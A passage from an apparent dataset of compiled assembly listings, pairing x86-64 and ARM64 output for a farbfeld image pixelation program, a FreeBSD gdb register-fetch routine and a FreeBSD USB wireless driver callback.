rev w9, w9
lsr w9, w9, #16
sturh w9, [x11, #-4]
rev w9, w12
lsr w9, w9, #16
sturh w9, [x11, #-2]
rev w9, w13
lsr w9, w9, #16
strh w9, [x11]
rev w9, w14
lsr w9, w9, #16
strh w9, [x11, #2]
add x11, x11, #8
add x8, x8, #8
subs x10, x10, #1
b.ne LBB3_17
b LBB3_2
LBB3_18: ; in Loop: Header=BB3_3 Depth=1
and x9, x22, #0xfffffffffffffffc
madd x10, x22, x23, x8
mov x11, x9
mov x12, x21
LBB3_19: ; Parent Loop BB3_3 Depth=1
; => This Inner Loop Header: Depth=2
ld4.4h { v0, v1, v2, v3 }, [x10], #32
rev16.8b v4, v0
rev16.8b v5, v1
rev16.8b v6, v2
rev16.8b v7, v3
st4.4h { v4, v5, v6, v7 }, [x12], #32
subs x11, x11, #4
b.ne LBB3_19
; %bb.20: ; in Loop: Header=BB3_3 Depth=1
cmp x22, x9
b.eq LBB3_2
b LBB3_16
LBB3_21:
mov x0, x21
bl _free
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp x28, x27, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #112
ret
.loh AdrpAdd Lloh6, Lloh7
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp d9, d8, [sp, #48] ; 16-byte Folded Spill
stp x24, x23, [sp, #64] ; 16-byte Folded Spill
stp x22, x21, [sp, #80] ; 16-byte Folded Spill
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset b8, -72
.cfi_offset b9, -80
mov x19, x1
cmp w0, #2
b.ne LBB4_26
; %bb.1:
mov w0, #0
bl _isatty
cbnz w0, LBB4_27
; %bb.2:
mov w0, #1
bl _isatty
cbnz w0, LBB4_28
; %bb.3:
ldr x0, [x19, #8]
mov x1, #0
bl _strtod
fmov d8, d0
Lloh8:
adrp x8, ___stdinp@GOTPAGE
Lloh9:
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
Lloh10:
ldr x1, [x8]
add x0, sp, #24
bl _read_ff
cbnz w0, LBB4_23
; %bb.4:
fcvtzu x21, d8
ldp x23, x22, [sp, #24]
mul x24, x22, x21
mul x8, x23, x21
stp x8, x24, [sp]
mul x0, x8, x24
mov w1, #8
bl _calloc
mov x19, x0
str x0, [sp, #16]
cbz x23, LBB4_21
; %bb.5:
mov x8, #0
mov x9, #0
ldr x20, [sp, #40]
cmp x22, #1
csinc x10, x22, xzr, hi
and x11, x21, #0xfffffffffffffff8
add x12, x19, #32
mul x13, x21, x21
mul x13, x13, x22
lsl x14, x13, #3
lsl x15, x21, #3
mul x16, x21, x22
lsl x16, x16, #3
mov x3, x22
b LBB4_8
LBB4_6: ; in Loop: Header=BB4_8 Depth=1
mov x3, x22
LBB4_7: ; in Loop: Header=BB4_8 Depth=1
add x9, x9, #1
add x12, x12, x14
add x8, x8, x13
cmp x9, x23
b.eq LBB4_22
LBB4_8: ; =>This Loop Header: Depth=1
; Child Loop BB4_11 Depth 2
; Child Loop BB4_14 Depth 3
; Child Loop BB4_17 Depth 4
; Child Loop BB4_20 Depth 4
cbz x3, LBB4_7
; %bb.9: ; in Loop: Header=BB4_8 Depth=1
mov x17, #0
mov x0, x8
mov x1, x12
b LBB4_11
LBB4_10: ; in Loop: Header=BB4_11 Depth=2
add x17, x17, #1
add x1, x1, x15
add x0, x0, x21
mov x3, x22
cmp x17, x10
b.eq LBB4_6
LBB4_11: ; Parent Loop BB4_8 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB4_14 Depth 3
; Child Loop BB4_17 Depth 4
; Child Loop BB4_20 Depth 4
cbz x21, LBB4_10
; %bb.12: ; in Loop: Header=BB4_11 Depth=2
mov x2, #0
madd x3, x3, x9, x17
ldr x3, [x20, x3, lsl #3]
dup.2d v0, x3
mov x4, x0
mov x5, x1
b LBB4_14
LBB4_13: ; in Loop: Header=BB4_14 Depth=3
add x2, x2, #1
add x5, x5, x16
add x4, x4, x24
cmp x2, x21
b.eq LBB4_10
LBB4_14: ; Parent Loop BB4_8 Depth=1
; Parent Loop BB4_11 Depth=2
; => This Loop Header: Depth=3
; Child Loop BB4_17 Depth 4
; Child Loop BB4_20 Depth 4
cmp x21, #8
b.hs LBB4_16
; %bb.15: ; in Loop: Header=BB4_14 Depth=3
mov x7, #0
b LBB4_19
LBB4_16: ; in Loop: Header=BB4_14 Depth=3
mov x6, x11
mov x7, x5
LBB4_17: ; Parent Loop BB4_8 Depth=1
; Parent Loop BB4_11 Depth=2
; Parent Loop BB4_14 Depth=3
; => This Inner Loop Header: Depth=4
stp q0, q0, [x7, #-32]
stp q0, q0, [x7], #64
subs x6, x6, #8
b.ne LBB4_17
; %bb.18: ; in Loop: Header=BB4_14 Depth=3
mov x7, x11
cmp x11, x21
b.eq LBB4_13
LBB4_19: ; in Loop: Header=BB4_14 Depth=3
add x6, x7, x4
add x6, x19, x6, lsl #3
sub x7, x21, x7
LBB4_20: ; Parent Loop BB4_8 Depth=1
; Parent Loop BB4_11 Depth=2
; Parent Loop BB4_14 Depth=3
; => This Inner Loop Header: Depth=4
str x3, [x6], #8
subs x7, x7, #1
b.ne LBB4_20
b LBB4_13
LBB4_21:
ldr x20, [sp, #40]
LBB4_22:
Lloh11:
adrp x8, ___stdoutp@GOTPAGE
Lloh12:
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
Lloh13:
ldr x1, [x8]
mov x0, sp
bl _write_ff
mov x0, x20
bl _free
mov x0, x19
bl _free
mov w0, #0
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
ldp x22, x21, [sp, #80] ; 16-byte Folded Reload
ldp x24, x23, [sp, #64] ; 16-byte Folded Reload
ldp d9, d8, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #128
ret
LBB4_23:
sub w8, w0, #1
cmp w8, #3
b.hi LBB4_29
; %bb.24:
Lloh14:
adrp x9, lJTI4_0@PAGE
Lloh15:
add x9, x9, lJTI4_0@PAGEOFF
adr x10, LBB4_25
ldrb w11, [x9, x8]
add x10, x10, x11, lsl #2
br x10
LBB4_25:
bl _main.cold.2
LBB4_26:
mov x0, x19
bl _main.cold.8
LBB4_27:
bl _main.cold.7
LBB4_28:
bl _main.cold.6
LBB4_29:
bl _main.cold.1
LBB4_30:
bl _main.cold.3
LBB4_31:
bl _main.cold.4
LBB4_32:
bl _main.cold.5
.loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10
.loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13
.loh AdrpAdd Lloh14, Lloh15
.cfi_endproc
.section __TEXT,__const
lJTI4_0:
.byte (LBB4_25-LBB4_25)>>2
.byte (LBB4_30-LBB4_25)>>2
.byte (LBB4_31-LBB4_25)>>2
.byte (LBB4_32-LBB4_25)>>2
; -- End function
.section __TEXT,__text,regular,pure_instructions
.p2align 2 ; -- Begin function main.cold.1
_main.cold.1: ; @main.cold.1
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh16:
adrp x1, l_.str.8@PAGE
Lloh17:
add x1, x1, l_.str.8@PAGEOFF
bl _OUTLINED_FUNCTION_0
.loh AdrpAdd Lloh16, Lloh17
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function main.cold.2
_main.cold.2: ; @main.cold.2
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh18:
adrp x1, l_.str.4@PAGE
Lloh19:
add x1, x1, l_.str.4@PAGEOFF
bl _OUTLINED_FUNCTION_0
.loh AdrpAdd Lloh18, Lloh19
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function main.cold.3
_main.cold.3: ; @main.cold.3
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh20:
adrp x1, l_.str.5@PAGE
Lloh21:
add x1, x1, l_.str.5@PAGEOFF
bl _OUTLINED_FUNCTION_0
.loh AdrpAdd Lloh20, Lloh21
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function main.cold.4
_main.cold.4: ; @main.cold.4
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh22:
adrp x1, l_.str.6@PAGE
Lloh23:
add x1, x1, l_.str.6@PAGEOFF
mov w0, #1
bl _err
.loh AdrpAdd Lloh22, Lloh23
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function main.cold.5
_main.cold.5: ; @main.cold.5
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh24:
adrp x1, l_.str.7@PAGE
Lloh25:
add x1, x1, l_.str.7@PAGEOFF
mov w0, #1
bl _err
.loh AdrpAdd Lloh24, Lloh25
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function main.cold.6
_main.cold.6: ; @main.cold.6
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh26:
adrp x1, l_.str.3@PAGE
Lloh27:
add x1, x1, l_.str.3@PAGEOFF
bl _OUTLINED_FUNCTION_0
.loh AdrpAdd Lloh26, Lloh27
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function main.cold.7
_main.cold.7: ; @main.cold.7
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh28:
adrp x1, l_.str.2@PAGE
Lloh29:
add x1, x1, l_.str.2@PAGEOFF
bl _OUTLINED_FUNCTION_0
.loh AdrpAdd Lloh28, Lloh29
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function main.cold.8
_main.cold.8: ; @main.cold.8
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldr x8, [x0]
str x8, [sp]
Lloh30:
adrp x1, l_.str.1@PAGE
Lloh31:
add x1, x1, l_.str.1@PAGEOFF
bl _OUTLINED_FUNCTION_0
.loh AdrpAdd Lloh30, Lloh31
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function OUTLINED_FUNCTION_0
_OUTLINED_FUNCTION_0: ; @OUTLINED_FUNCTION_0 Thunk
.cfi_startproc
; %bb.0:
mov w0, #1
b _errx
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "farbfeld"
l_.str.1: ; @.str.1
.asciz "usage: %s [pixel-size] < input.ff > output.ff"
l_.str.2: ; @.str.2
.asciz "refusing to read farfeld image from terminal input."
l_.str.3: ; @.str.3
.asciz "refusing to write farbfeld image to the terminal."
l_.str.4: ; @.str.4
.asciz "bad farbfeld magic value."
l_.str.5: ; @.str.5
.asciz "unexpected end of file."
l_.str.6: ; @.str.6
.asciz "io error"
l_.str.7: ; @.str.7
.asciz "allocation error"
l_.str.8: ; @.str.8
.asciz "unreachable"
.subsections_via_symbols
| the_stack_data/29823931.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function fetch_register
_fetch_register: ## @fetch_register
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
subq $32, %rsp
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movl %edi, %r14d
movq _PT_GETREGS@GOTPCREL(%rip), %rax
movl (%rax), %ebx
movq _inferior_ptid@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _PIDGET
leaq -40(%rbp), %rdx
movl %ebx, %edi
movl %eax, %esi
## kill: def $edx killed $edx killed $rdx
xorl %ecx, %ecx
callq _ptrace
testl %eax, %eax
js LBB0_4
## %bb.1:
leal -128(%r14), %eax
cmpl $3, %eax
ja LBB0_5
## %bb.2:
leaq LJTI0_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB0_3:
leaq -20(%rbp), %rsi
movl $128, %edi
jmp LBB0_12
LBB0_4:
leaq L_.str(%rip), %rdi
callq _warning
jmp LBB0_13
LBB0_5:
movslq %r14d, %rsi
shlq $2, %rsi
addq -40(%rbp), %rsi
movl %r14d, %edi
jmp LBB0_12
LBB0_6:
movq _arm_apcs_32@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
je LBB0_10
## %bb.7:
leaq -28(%rbp), %rsi
jmp LBB0_11
LBB0_8:
leaq -32(%rbp), %rbx
movl -32(%rbp), %edi
callq _ADDR_BITS_REMOVE
movl %eax, -32(%rbp)
movl $130, %edi
movq %rbx, %rsi
jmp LBB0_12
LBB0_9:
leaq -24(%rbp), %rsi
movl $131, %edi
jmp LBB0_12
LBB0_10:
leaq -32(%rbp), %rsi
LBB0_11:
movl $129, %edi
LBB0_12:
callq _supply_register
LBB0_13:
addq $32, %rsp
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_3, LBB0_3-LJTI0_0
.set L0_0_set_6, LBB0_6-LJTI0_0
.set L0_0_set_8, LBB0_8-LJTI0_0
.set L0_0_set_9, LBB0_9-LJTI0_0
LJTI0_0:
.long L0_0_set_3
.long L0_0_set_6
.long L0_0_set_8
.long L0_0_set_9
.end_data_region
## -- End function
.comm _PT_GETREGS,4,2 ## @PT_GETREGS
.comm _inferior_ptid,4,2 ## @inferior_ptid
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "unable to fetch general register"
.comm _arm_apcs_32,4,2 ## @arm_apcs_32
.no_dead_strip _fetch_register
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function fetch_register
_fetch_register: ; @fetch_register
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
Lloh0:
adrp x8, _PT_GETREGS@GOTPAGE
Lloh1:
ldr x8, [x8, _PT_GETREGS@GOTPAGEOFF]
Lloh2:
ldr w20, [x8]
Lloh3:
adrp x8, _inferior_ptid@GOTPAGE
Lloh4:
ldr x8, [x8, _inferior_ptid@GOTPAGEOFF]
Lloh5:
ldr w0, [x8]
bl _PIDGET
mov x1, x0
add x2, sp, #8
mov x0, x20
mov w3, #0
bl _ptrace
tbnz w0, #31, LBB0_4
; %bb.1:
sub w8, w19, #128
cmp w8, #3
b.hi LBB0_5
; %bb.2:
Lloh6:
adrp x9, lJTI0_0@PAGE
Lloh7:
add x9, x9, lJTI0_0@PAGEOFF
adr x10, LBB0_3
ldrb w11, [x9, x8]
add x10, x10, x11, lsl #2
br x10
LBB0_3:
add x8, sp, #8
add x1, x8, #20
mov w0, #128
b LBB0_12
LBB0_4:
Lloh8:
adrp x0, l_.str@PAGE
Lloh9:
add x0, x0, l_.str@PAGEOFF
bl _warning
b LBB0_13
LBB0_5:
ldr x8, [sp, #8]
add x1, x8, w19, sxtw #2
mov x0, x19
b LBB0_12
LBB0_6:
Lloh10:
adrp x8, _arm_apcs_32@GOTPAGE
Lloh11:
ldr x8, [x8, _arm_apcs_32@GOTPAGEOFF]
Lloh12:
ldr w8, [x8]
cbz w8, LBB0_10
; %bb.7:
add x8, sp, #8
add x1, x8, #12
b LBB0_11
LBB0_8:
add x8, sp, #8
add x19, x8, #8
ldr w0, [sp, #16]
bl _ADDR_BITS_REMOVE
str w0, [sp, #16]
mov w0, #130
mov x1, x19
b LBB0_12
LBB0_9:
add x8, sp, #8
add x1, x8, #16
mov w0, #131
b LBB0_12
LBB0_10:
add x8, sp, #8
add x1, x8, #8
LBB0_11:
mov w0, #129
LBB0_12:
bl _supply_register
LBB0_13:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #64
ret
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12
.cfi_endproc
.section __TEXT,__const
lJTI0_0:
.byte (LBB0_3-LBB0_3)>>2
.byte (LBB0_6-LBB0_3)>>2
.byte (LBB0_8-LBB0_3)>>2
.byte (LBB0_9-LBB0_3)>>2
; -- End function
.comm _PT_GETREGS,4,2 ; @PT_GETREGS
.comm _inferior_ptid,4,2 ; @inferior_ptid
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "unable to fetch general register"
.comm _arm_apcs_32,4,2 ; @arm_apcs_32
.no_dead_strip _fetch_register
.subsections_via_symbols
| AnghaBench/freebsd/gnu/usr.bin/gdb/arch/arm/extr_armfbsd-nat.c_fetch_register.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function rsu_bulk_tx_callback_be_bk
_rsu_bulk_tx_callback_be_bk: ## @rsu_bulk_tx_callback_be_bk
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %esi, %r14d
movq %rdi, %rbx
callq _usbd_xfer_softc
movq %rax, %r15
movq _RSU_BULK_TX_BE_BK@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq %rbx, %rdi
movl %r14d, %esi
callq _rsu_bulk_tx_callback_sub
movq %r15, %rdi
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _rsu_start ## TAILCALL
.cfi_endproc
## -- End function
.comm _RSU_BULK_TX_BE_BK,4,2 ## @RSU_BULK_TX_BE_BK
.no_dead_strip _rsu_bulk_tx_callback_be_bk
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function rsu_bulk_tx_callback_be_bk
_rsu_bulk_tx_callback_be_bk: ; @rsu_bulk_tx_callback_be_bk
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x1
mov x20, x0
bl _usbd_xfer_softc
mov x21, x0
Lloh0:
adrp x8, _RSU_BULK_TX_BE_BK@GOTPAGE
Lloh1:
ldr x8, [x8, _RSU_BULK_TX_BE_BK@GOTPAGEOFF]
Lloh2:
ldr w2, [x8]
mov x0, x20
mov x1, x19
bl _rsu_bulk_tx_callback_sub
mov x0, x21
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _rsu_start
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _RSU_BULK_TX_BE_BK,4,2 ; @RSU_BULK_TX_BE_BK
.no_dead_strip _rsu_bulk_tx_callback_be_bk
.subsections_via_symbols
| AnghaBench/freebsd/sys/dev/usb/wlan/extr_if_rsu.c_rsu_bulk_tx_callback_be_bk.c | anghabench |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.